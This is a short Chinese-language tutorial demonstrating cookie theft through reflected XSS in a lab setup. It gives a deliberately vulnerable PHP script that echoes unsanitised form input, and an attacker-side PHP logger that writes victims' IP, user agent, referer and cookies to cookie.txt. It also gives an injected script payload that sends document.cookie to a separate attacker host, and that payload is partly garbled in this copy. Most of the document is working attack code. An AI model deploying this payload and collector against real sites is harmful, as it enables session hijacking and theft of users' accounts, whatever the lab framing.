利用xss盜取cookie的簡單實例
試驗環境:
攻擊機器 10.1.36.181 stealcookies.php cookie.txt
受害服務器 10.1.36.34 victim.php victim.html
(1)受害者有xss漏洞的腳本victim.php (問題字段用紅色標明)
php
session_start();
session_regenerate_id();
echo session_id()."
";
if(isset($_POST["login"]))
{
echo "Hello " .$_POST["name"]."
";
}
?>
(2)對應表單victim.html
id ="form1" name="form1" method="post" action="victim.php">
Name
name="name" type="text" id="name"/>
name="login" type="submit" id="login" value="submit"/>
正常流程:
(3)攻擊者盜取cookie的腳本stealcookies.php
php
$ua = $_SERVER["HTTP_USER_AGENT"];
$client_ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER["REQUEST_METHOD"];
$referer = $_SERVER["HTTP_REFERER"];
$date = date("F j, Y, g:i a");
$querystring = $_SERVER["QUERY_STRING"];
$log = fopen("cookie.txt","a+");
$str= "IP: $client_ip |Useragent: $ua | Method: $method | REF: $referer | Date: $date | Cookie: $querystring \n";
fwrite($log,$str);
?>
腳本運行的前提條件,在stealcookies.php同一根目錄下,有一個有寫權限的文件cookie.txt
攻擊流程:
在 http://10.1.36.34/victim.html的表單中提交以下語句
<script>document.write(' + encodeURI(document.cookie) + '"/>')</script>
js的意思是生成一個包含攻擊者url的圖片
接著我們可以看到訪問該頁面用戶的cookie寫入到了攻擊者的cookie.txt文件里
查看攻擊者10.1.36.181上的cookie.txt文件
cat cookie.txt
可以看到收到cookie了。